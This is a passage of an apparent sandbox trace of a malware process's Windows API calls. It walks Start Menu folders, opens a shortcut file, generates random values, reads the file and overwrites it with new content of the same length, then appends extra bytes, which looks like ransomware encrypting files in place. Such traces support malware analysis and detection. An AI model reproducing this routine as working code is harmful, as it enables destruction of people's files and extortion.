	[0090.450] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c6308a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1
	[0090.450] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1
	[0090.450] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1
	[0090.450] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x97a9db13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97a9db13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97a9db13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x92d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Immersive Control Panel.lnk", cAlternateFileName="")) returned 1
	[0090.450] wcscmp (_String1="Immersive Control Panel.lnk", _String2=".") returned 1
	[0090.450] wcscmp (_String1="Immersive Control Panel.lnk", _String2="..") returned 1
	[0090.450] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0090.450] wcscmp (_String1="Java", _String2=".") returned 1
	[0090.450] wcscmp (_String1="Java", _String2="..") returned 1
	[0090.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc510
	[0090.450] wcscpy (in: _Dest=0x47bc510, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs"
	[0090.450] wcscat (in: _Dest=0x47bc510, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\"
	[0090.450] wcscat (in: _Dest=0x47bc510, _Source="Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java"
	[0090.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc110
	[0090.450] wcscpy (in: _Dest=0x47bc110, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java"
	[0090.450] wcscat (in: _Dest=0x47bc110, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\"
	[0090.450] wcscat (in: _Dest=0x47bc110, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*"
	[0090.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a2c8
	[0090.450] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ace8
	[0090.451] wcscmp (_String1=".", _String2=".") returned 0
	[0090.451] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.451] wcscmp (_String1="..", _String2=".") returned 1
	[0090.451] wcscmp (_String1="..", _String2="..") returned 0
	[0090.451] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac589477, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x830, dwReserved0=0x0, dwReserved1=0x0, cFileName="About Java.lnk", cAlternateFileName="ABOUTJ~1.LNK")) returned 1
	[0090.451] wcscmp (_String1="About Java.lnk", _String2=".") returned 1
	[0090.451] wcscmp (_String1="About Java.lnk", _String2="..") returned 1
	[0090.451] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac589477, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x842, dwReserved0=0x0, dwReserved1=0x0, cFileName="Check For Updates.lnk", cAlternateFileName="CHECKF~1.LNK")) returned 1
	[0090.451] wcscmp (_String1="Check For Updates.lnk", _String2=".") returned 1
	[0090.451] wcscmp (_String1="Check For Updates.lnk", _String2="..") returned 1
	[0090.451] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac326e8c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac326e8c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configure Java.lnk", cAlternateFileName="CONFIG~1.LNK")) returned 1
	[0090.451] wcscmp (_String1="Configure Java.lnk", _String2=".") returned 1
	[0090.451] wcscmp (_String1="Configure Java.lnk", _String2="..") returned 1
	[0090.451] FindNextFileW (in: hFindFile=0x477ace8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1cf99e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac1cf99e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac1cf99e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Help.url", cAlternateFileName="GETHEL~1.URL")) returned 1
	[0090.451] wcscmp (_String1="Get Help.url", _String2=".") returned 1
	[0090.451] wcscmp (_String1="Get Help.url", _String2="..") returned 1
	[0090.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x4e31120
	[0090.451] wcscpy (in: _Dest=0x4e31120, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java"
	[0090.451] wcscat (in: _Dest=0x4e31120, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\"
	[0090.451] wcscat (in: _Dest=0x4e31120, _Source="Get Help.url" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url"
	[0090.452] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url")) returned 0x20
	[0090.452] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url", dwFileAttributes=0x20) returned 1
	[0090.452] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1610
	[0090.452] GetFileSizeEx (in: hFile=0x1610, lpFileSize=0x2423fdc4 | out: lpFileSize=0x2423fdc4*=180) returned 1
	[0090.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e48
	[0090.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ee8
	[0090.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0090.452] NtQuerySystemTime (in: CurrentTime=0x2423fd24 | out: CurrentTime=0x2423fd24*=132251868171814921) returned 0x0
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x1b3b1f19
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x962afce0
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x3be1e713
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xa0d0b9a3
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x9b14c762
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xb455dbb2
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x6c26b49c
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x48d228e9
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xa663fb2a
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xdb5ca2ca
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xcb9769a1
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xdf44b0c2
	[0090.452] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xf1aabd9d
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x52241721
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x68ef5b19
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xeb2f191f
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x3c0c6504
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x5eb75480
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xcd2e910e
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x8a43f31e
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x8a712a0a
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x23bfc829
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x795f0c7c
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xe6640790
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x22e4ab34
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xa739427d
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x866e5b33
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x3d96b089
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x552ad8f6
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0xf63144e0
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x876bf154
	[0090.453] RtlRandom (in: Seed=0x2423fd30 | out: Seed=0x2423fd30) returned 0x633445f0
	[0090.461] ReadFile (in: hFile=0x1610, lpBuffer=0x50a4888, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x2423fd20, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x2423fd20*=0xb4, lpOverlapped=0x0) returned 1
	[0090.463] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.463] WriteFile (in: hFile=0x1610, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x2423fd1c, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x2423fd1c*=0xb4, lpOverlapped=0x0) returned 1
	[0090.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731c90
	[0090.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bc8
	[0090.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bc8) returned 1
	[0090.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0090.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0090.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a90) returned 1
	[0090.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0090.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d77f90
	[0090.468] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.468] WriteFile (hFile=0x1610, lpBuffer=0x2e347a8, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x2423fd84, lpOverlapped=0x0) 

Thread:
	id = 1016
	os_tid = 0x1c50

	[0082.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e04090
	[0082.598] wcscpy (in: _Dest=0x2e04090, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places"
	[0082.598] wcscat (in: _Dest=0x2e04090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\"
	[0082.598] wcscat (in: _Dest=0x2e04090, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\*"
	[0082.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0082.598] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc252d1d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8158
	[0082.598] wcscmp (_String1=".", _String2=".") returned 0
	[0082.598] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc252d1d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.598] wcscmp (_String1="..", _String2=".") returned 1
	[0082.598] wcscmp (_String1="..", _String2="..") returned 0
	[0082.598] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d8dd66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61d8dd66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - File Explorer.lnk", cAlternateFileName="")) returned 1
	[0082.598] wcscmp (_String1="01 - File Explorer.lnk", _String2=".") returned 1
	[0082.598] wcscmp (_String1="01 - File Explorer.lnk", _String2="..") returned 1
	[0082.598] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d67afb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61d67afb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Documents.lnk", cAlternateFileName="")) returned 1
	[0082.598] wcscmp (_String1="03 - Documents.lnk", _String2=".") returned 1
	[0082.598] wcscmp (_String1="03 - Documents.lnk", _String2="..") returned 1
	[0082.598] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d8dd66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61d8dd66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Downloads.lnk", cAlternateFileName="")) returned 1
	[0082.598] wcscmp (_String1="04 - Downloads.lnk", _String2=".") returned 1
	[0082.598] wcscmp (_String1="04 - Downloads.lnk", _String2="..") returned 1
	[0082.598] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d67afb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61d67afb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Music.lnk", cAlternateFileName="")) returned 1
	[0082.598] wcscmp (_String1="05 - Music.lnk", _String2=".") returned 1
	[0082.599] wcscmp (_String1="05 - Music.lnk", _String2="..") returned 1
	[0082.599] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61db3fcd, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61db3fcd, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - Pictures.lnk", cAlternateFileName="")) returned 1
	[0082.599] wcscmp (_String1="06 - Pictures.lnk", _String2=".") returned 1
	[0082.599] wcscmp (_String1="06 - Pictures.lnk", _String2="..") returned 1
	[0082.599] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d8dd66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61d8dd66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Videos.lnk", cAlternateFileName="")) returned 1
	[0082.599] wcscmp (_String1="07 - Videos.lnk", _String2=".") returned 1
	[0082.599] wcscmp (_String1="07 - Videos.lnk", _String2="..") returned 1
	[0082.599] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61db3fcd, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61db3fcd, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Homegroup.lnk", cAlternateFileName="")) returned 1
	[0082.599] wcscmp (_String1="08 - Homegroup.lnk", _String2=".") returned 1
	[0082.599] wcscmp (_String1="08 - Homegroup.lnk", _String2="..") returned 1
	[0082.599] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61db3fcd, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61db3fcd, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Network.lnk", cAlternateFileName="")) returned 1
	[0082.599] wcscmp (_String1="09 - Network.lnk", _String2=".") returned 1
	[0082.599] wcscmp (_String1="09 - Network.lnk", _String2="..") returned 1
	[0082.599] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d67afb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x61d67afb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - UserProfile.lnk", cAlternateFileName="")) returned 1
	[0082.599] wcscmp (_String1="10 - UserProfile.lnk", _String2=".") returned 1
	[0082.599] wcscmp (_String1="10 - UserProfile.lnk", _String2="..") returned 1
	[0082.599] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21f770e1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc8e8141c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8ea7682, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.599] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0082.599] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0082.599] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21f770e1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc8e8141c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8ea7682, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0082.599] FindClose (in: hFindFile=0x46a8158 | out: hFindFile=0x46a8158) returned 1
	[0082.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0082.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed0d0) returned 1

Thread:
	id = 1017
	os_tid = 0x1c54

	[0082.601] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4780300
	[0082.601] wcscpy (in: _Dest=0x4780300, _Source="C:\\ProgramData\\Microsoft\\Windows\\SystemData" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SystemData") returned="C:\\ProgramData\\Microsoft\\Windows\\SystemData"
	[0082.601] wcscat (in: _Dest=0x4780300, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SystemData\\") returned="C:\\ProgramData\\Microsoft\\Windows\\SystemData\\"
	[0082.601] wcscat (in: _Dest=0x4780300, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SystemData\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\SystemData\\*"
	[0082.601] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
